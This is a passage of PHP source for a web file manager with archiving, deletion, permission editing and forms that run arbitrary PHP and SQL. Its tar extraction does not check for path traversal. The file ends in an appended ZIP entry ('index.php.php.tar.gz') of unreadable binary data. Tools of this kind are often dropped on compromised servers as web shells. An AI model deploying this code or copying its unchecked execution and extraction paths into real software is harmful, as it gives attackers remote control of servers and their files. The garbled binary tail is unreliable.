    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK=3�\��� ScScindex.php.php.tar.gznu�[������z"I�(z�����!R�.�@�"%�fb_%H��
 �� "��:����~�z��|���y�y��kl��z�9���Rwssssws3sw��Y~�+7^
��Ea�2Ӗ"�[]��x2ODXA�{�j��o�?�H�1=
��F��@<�ł =E�L��U?U�P�?����?�g�
�y�8�+�T�����o�%������<�7��\��gX���n��|���=/����z=n;V��~�DU���Ũ�~D(>~C���؟��j��4�LAyf�IܔW�-��G����`,����0�(�&`����H�ƌf�4Ee7�(>|����f�"1x�q�|I��˛���R���>����8U���$�&K�4���H��,_6*���1wP_,U��0D��a��o�'F;������gv�m9��|ɨ�d�4m��<���n��Ʋ(ly�?���,?���9���Ǘ�F�s�����3�+�{V�%J���|�=�I8K*
���̍y�/H��f��R�w#Y�x	��T�XPW"w�y"��
I�s[{�	ә�i7��lx�:K޽(�
:��ڌ�Y�<����쟗�­Li�q����$���$З MC��,�CN��*�)����ʠ�Q�x���Ʋ�Qx�|Uy�i/�N��}�ɠ�Q"~/�R���6C�*ob*7�ŕ�\��j?�s��>���4ŷ:�Q'�� e��V>u-���*�|`ct_=�����p��u&(�����O�6�i�4U������+0�Gh�!$[Ny�+Y��F���7ZlVL�Ya4n(�?�������@����(2�|T�}_dr�N:�n�۰��#G� ��0BM�$U4MrN_e���G]t����?��_��/D4�g�Q7�Î�����1��g���2cA}"+�
>l�O��dCNDҟ~���_~�w���8��)$�m���-���0�/�C��_L�������e p�q�0��AL�h&l���AD��?�z�&w�2s�ϸ�@����e9iċ6
��/��`ăʛ!^Ґ��Bk������_ʹ�UL�E�V׿���e���	$������g�=9�om�^,\��s�����P��C
%3���u��)��ۜ��D���a���1�5�%R�6D˿�(�ȃ�ʌ�_C���;�y�r)���fNEA�Y9�?P�l=�WYa��I���h�\Ɣ�O��.5k>V�_����f�	���z�!x�8!�tVZ�-�Y���@ا��wK�D-2Mk%�f�UA=���V���B��^��K���E��N�?[;��K<Q5�JۿP�
���q�n�W@X�o����^^�'�6P47�ib���A�l����\��5W�X9��7<��o,a��8�2�p��hu�g�QO��ِ��h�D����q)��H"�q���A��n"�?,�t%�4�tdF�i�n����N-����l���ۂj���̈�``B��k������e@z�GE���&@�1P�w\w���Gl�y���2��2��)g�����F�	p�O����ւ�z"�D�7�*p����7fn��:̞�8m$RO꿘ۡ���w�6����v��s�ٞ�y�?���a�I��L�,�O�:\�2>u�Le��Phc�D�sW�d[9
�Z�`3\���65�é6�����
�`m�7]G ݅���:.��%����]�ce����'n,� ��,Q�y`��	g�����d�,���T�P����o���F��I:��Pc�Hg�VEE�T=�}\ s�e�fdv��MC�WNQ�!}H�`]��w���Y
#E�n���h|���x��_ 0�@��S��v���R6�ט�&
��Y����`�˕vp_����n����/�CA��-n���an�痢L�UMyM�h��3h���P����oz	��LK90Uκ0GV3`�/���Ľ�A���T�9�w�$�=�˨?�^����'�0��p�ʣ��)��]���W�ˆ�TIr���V (��-�ҠK�T��������-�w��F�r`�����nu� B�N��٥;�\_@9Ak��4��i�&p��N�v�ۂ�	��㏂�"m��"�^�t�I�V�

D^��ƑdS�(�
�BK�sFۨ����c�e萷ӂ��<�h�4!�x���e4��NQ�t6�R"E*��5��N"h��#�Q!�����µJ�����>fJ��
_[26W�rT��Bl/p�EyhR��D&˜<Gh5&�O]U:6a9u���:�V4k��Z$�4�A&��1�n��S̈́��ZM'tۡȣ�F�ma�3�C��c>̀��4�'�dUs��px��Y6��c���!N��=�.35+E�lt~	�Dv�ً�5&�y[3�J�@�9�Ľ�w4x��p��&[��K��.ݝ�$��]�K�ɈXx��
��N��^:s�x���sL��/�:\�@1�����4���[�+�����,��D,0?1��H@҅�X��ڎ�~%�:Y�NV&�Z���"�O,
